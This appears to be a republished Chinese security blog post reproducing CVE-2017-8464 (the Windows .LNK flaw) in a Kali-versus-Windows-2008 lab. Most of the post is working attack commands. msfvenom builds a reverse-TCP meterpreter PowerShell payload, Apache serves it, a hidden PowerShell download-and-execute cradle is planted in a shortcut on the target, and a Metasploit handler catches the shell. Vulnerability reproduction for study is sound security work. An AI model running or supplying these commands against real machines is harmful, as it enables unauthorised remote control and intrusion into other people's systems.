CVE-2017-8464漏洞复现

admin 2021年2月22日11:25:37评论277 views字数 1169阅读3分53秒阅读模式

【原理】

Windows系统使用二进制解析 .LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 load 进内存时与当前用户具有相同权限。

攻击者利用这一解析过程将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后即被黑客所控制。

【工具】

  • Metasploit

  • Powershell

【步骤】

1.环境配置

攻击机:kali ip:192.168.166.13

目标靶机:win2008  ip:192.168.166.15

2.kali下生成一个反弹的 ps1的shell(使用root权限):

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.166.13 lport=4444 -f psh-reflection>/opt/search.ps1

CVE-2017-8464漏洞复现

3.切换到opt目录,然后查看到已生成了search.ps1 的powershell 后门

cd /opt
ls

CVE-2017-8464漏洞复现

4.将生成的search.ps1拷贝到/var/www/html目录下

mv  search.ps1  /var/www/html
cd /var/www/html
ls

CVE-2017-8464漏洞复现

5.启动apache服务

service apache2 start

CVE-2017-8464漏洞复现

6.访问web下的search.ps1,可以直接访问:http://192.168.166.13/search.ps1

ip/search.ps1

CVE-2017-8464漏洞复现

7.在靶机Windows2008上创建一个powershell远程快捷:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.166.13/search.ps1');test.ps1"

CVE-2017-8464漏洞复现

输入以下代码:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.166.13/search.ps1');test.ps1"

CVE-2017-8464漏洞复现

8.名称为:powershell.exe

CVE-2017-8464漏洞复现

9.kali下创建监听反弹,并且可以看到成功反弹出靶机的shell:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.166.13
set lport 4444
exploit

10.反弹shell,拿到权限

CVE-2017-8464漏洞复现

CVE-2017-8464漏洞复现





本文始发于微信公众号(ION离子安全实验室):CVE-2017-8464漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月22日11:25:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2017-8464漏洞复现https://cn-sec.com/archives/270626.html

发表评论

匿名网友 填写信息